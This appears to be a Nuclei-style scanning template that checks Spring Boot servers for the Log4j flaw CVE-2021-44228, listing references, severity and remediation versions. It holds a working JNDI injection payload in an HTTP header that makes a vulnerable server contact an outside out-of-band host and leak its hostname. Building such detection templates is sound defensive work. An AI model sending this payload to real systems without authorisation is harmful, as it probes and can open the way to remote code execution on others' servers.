id: springboot-log4j-rce info: name: Spring Boot Log4j Remote Code Injection author: pdteam severity: critical reference: - https://logging.apache.org/log4j/2.x/security.html - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2021-44228 cwe-id: CWE-502 remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later). tags: springboot,rce,oast,log4j requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} X-Api-Version: ${jndi:ldap://${hostName}.{{interactsh-url}}} matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex part: interactsh_request group: 1 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output